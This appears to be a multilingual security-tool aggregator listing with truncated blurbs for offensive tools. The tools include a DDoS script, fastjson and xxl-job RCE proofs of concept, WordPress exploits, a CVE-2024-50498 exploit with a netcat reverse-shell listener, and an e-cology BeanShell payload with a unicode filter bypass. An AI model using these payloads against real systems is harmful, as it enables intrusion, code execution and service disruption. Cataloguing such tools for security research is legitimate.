Extractor

自分でコンパイルしたくない人向けのインストール手順: 1. GoogleのGSONライブラリをMavenからダウンロードします。 http://central.maven.org/maven2/com/google/code/gson/gson/2.8.2/gson-2.8.2.jar wget http://central.maven.org/maven2/com/google/code/gson/gson/2.8.2/gson-2.8.2.jar 2. Burpの Extender/Options/Java Environment...

camjacking

Camjacking CamJackingは、カメラの権限とユーザーの認識を標的とした現実的なフィッシング攻撃をシミュレートするように設計された、エンタープライズグレードのセキュリティ意識向上トレーニングフレームワークです。 🎯 CamJackingとは？ CamJacking は、カメラの権限とユーザーの認識を標的とした現実的なフィッシング攻撃をシミュレートするように設計された、エンタープライズグレードのセキュリティ意識向上トレーニングフレームワーク です。倫理的ハッカー、ペネトレーションテスター、セキュリティ専門家向けに構築されたCamJackingは、組織に以下を可能にします： ✅...

oracleShell

oracleShell oracle 数据库命令执行 测试环境-DBA权限： SELECT FROM v$version root@kitploit: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production PL/SQL Release 11.2.0.1.0 - Production "CORE 11.2.0.1.0 Production" TNS for 32-bit Windows: Version 11.2.0.1.0 - Production NLSRTL Version 11.2.0.1.0 ...

HttpStrike

HttpStrike Un script DDoS rápido escrito en Python; enviará una gran cantidad de solicitudes GET si aumentas las solicitudes como prefieras...

FastJsonAutoTypeBypass

これは何ですか このプロジェクトは、fastJSONのAutoTypeチェックをバイパスする方法を研究するためのものです。 ガジェット情報 マッピング fastjson 1.2.47のみに適用： root@kitploit: package com.FastJson1242; import com.alibaba.fastjson.JSONObject; public class Poc public static void mainString argv String payload ="\n" + " "a": \n" + " "@type":...

SSCMS_Decrypt

sscms（siteserver cms） データベース復号化 概要：SSCMS は .NET Core ベースであり、最低限のコスト・最少の人員投入で、最も短い時間で機能が充実し、性能が優れ、規模が大きく、かつ保守が容易な Web サイトプラットフォームを構築できます。 プロジェクトURL：https://github.com/siteserver/cms DES復号化 https://github.com/siteserver/cms/blob/master/src/SSCMS/Utils/DesEncryptor.cs root@kitploit: python3...

publiccms_decrypt

publiccmsdecrypt https://github.com/sanluan/PublicCMS publiccms-core-V4.0.202004.a.jar!/com/publiccms/common/constants/CommonConstants.class publiccms-common-V4.0.202004.a.jar!/com/publiccms/common/tools/VerificationUtils.class com.publiccms.common.tools.VerificationUtils...

xxl-job

xxl-job エグゼキュータ RESTful API 未認証アクセス RCE 実行ログConsoleを利用することでコマンド実行成功の結果を取得できます： 例： /joblog/logDetailPage?id=xxxx JDK環境変数の確認 root@kitploit: String var3 = System.getProperties.toString; System.out.printlnvar3; コマンド実行 /jobcode?jobId=x root@kitploit: import com.xxl.job.core.log.XxlJobLogger; import...

Cisco-SNMP-Slap

概要 cisco-snmp-slap は、IPアドレス・スプーフィングを利用して、Cisco IOSデバイス上のSNMPサービスを保護するACLをバイパスします。 通常、IPスプーフィングはDoS以外の実際の攻撃では使用が限られます。TCPサービスは初期ハンドシェイクを完了できません。UDPパケットはスプーフィングしやすいですが、戻りパケットはしばしば誤ったアドレスに送信されるため、返ってくる情報を収集するのは困難です。 しかし、攻撃者がSNMP rwコミュニティストリングと有効な送信元アドレスを推測できれば、SNMP MIBを設定できます。その最もわかりやすい用途の1つは、Cisco...

detaped

Detaped 简介 Detaped 是一个用于 Duktape（GitHub）的 Python 反汇编器和反编译器。其预期用途是在仅拥有已编译的 Duktape 字节码二进制文件的情况下进行源代码审查和分析，例如在黑盒评估中。 功能 解析 JSE 文件格式 反汇编 JSE 二进制文件或二进制文件目录 生成 ASM 风格的指令（一对一的字节码映射） 生成低层次的类 JavaScript 输出 反编译器生成基本的高层次类 JavaScript 输出 支持的版本 v2.7.0 用法 root@kitploit: └─$ detaped --help usage: detaped.py -h ...

Red-Team

项目简介 项目用于收集和归纳Red Team的以下几个方面 Red Team攻击思维 Red Team攻击工具 Red Team攻击方法 精华内容 https://mitre-attack.github.io/ mitre科技机构对攻击技术的总结wiki https://huntingday.github.io MITRE | ATT&CK 中文站 https://arxiv.org 康奈尔大学（Cornell University）开放文档 http://www.owasp.org.cn/owasp-project/owasp-things OWASP项目...

webrtc-ips

STUN IP Address requests for WebRTC Demo: https://diafygi.github.io/webrtc-ips/ What this does Firefox and Chrome have implemented WebRTC that allow requests to STUN servers be made that will return the local and public IP addresses for the user. These request results are available to javascript,...

wordpress-exploits

wordpress-exploits Exploits aleatorios de WordPress pueden o no funcionar. CVE-2019-19985 Información root@kitploit: Description: Unauthenticated File Download w/ Information Disclosure CVE ID: CVE-2019-19985 CVSS v3.0 Score: 5.8 Medium CVSS Vector String:...

database-druid

druid encode java -cp druid-1.1.19.jar com.alibaba.druid.filter.config.ConfigTools 密码 Example: java -cp druid-1.1.19.jar com.alibaba.druid.filter.config.ConfigTools jas502n root@kitploit:...

fastjson-1.2.61-RCE

fastjson-1.2.61-RCE Ps： 官方在https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java 中，将0x7bddd363ad3998c6L （即1.2.61 8925522461579647174 0x7bddd363ad3998c6L...

Burp_AES_Plugin

Burpsuite 用 AES クラックプラグイン 0x00 mvn install で jar を取得する git clone https://github.com/jas502n/BurpAESPlugin/ cd /github/BurpAESPlugin/AESDecode vi src/main/java/burp/BurpExtender.java mvn install root@kitploit: INFO --- maven-install-plugin:2.4:install default-install @ AESCrack --- INFO Installing...

Sec5GLoc

Sec5GLoc: 敵対的耐性を備えた深層学習アーキテクチャによる5G屋内測位の保護 本研究は、敵対的耐性を持つ深層学習アーキテクチャを提案することで、5G屋内測位におけるセキュリティとプライバシーの課題に取り組みます。Sec5GLocは、チャネルインパルス応答（CIR）フィンガープリンティングと到着時間差（TDoA）特徴、および既知のアンカー位置を組み合わせ、ハイブリッドCNNとマルチヘッドアテンションネットワークで処理します。この設計により、位置スプーフィングや敵対的信号改ざんなどの脅威に対する堅牢性が向上します。 図1...

CVE-2024-50498

CVE-2024-50498 説明 LUBUS WP Query Console におけるコード生成の不適切な制御（'コードインジェクション'）の脆弱性により、コードインジェクションが可能になります。この問題は WP Query Console に影響します：n/a から 1.0 まで。 Netcat リスナーのセットアップ： お使いのマシンでターミナルを開き、Netcat リスナーを起動してリバースシェル接続を待ちます。 root@kitploit: nc -lvnp 使用方法 root@kitploit: usage: CVE-2024-50498.py -h -u URL -ip...

CVE-2024-49328-exploit

CVE-2024-49328-exploit 🌟 Descripción: Este script explota una vulnerabilidad de escalada de privilegios en el plugin FNS de la WP REST API para WordPress. La vulnerabilidad afecta a todas las versiones hasta la 1.0.0 incluida, permitiendo a atacantes no autenticados obtener privilegios de...

e-cology

泛微e-cology OA Beanshell组件远程代码执行 Windows Linux Ps root@kitploit: 检测目标系统os.name（因为目标系统是windows的话，执行set等命令，需要手动敲cmd.exe /c set） 使用Unicode绕过exec过滤，部分站点 Payload root@kitploit: bsh.script=exec'whoami'; unicode bypass bsh.script=\u0065\u0078\u0065\u0063"whoami"; Useful BeanShell Commands root@kitploit: ...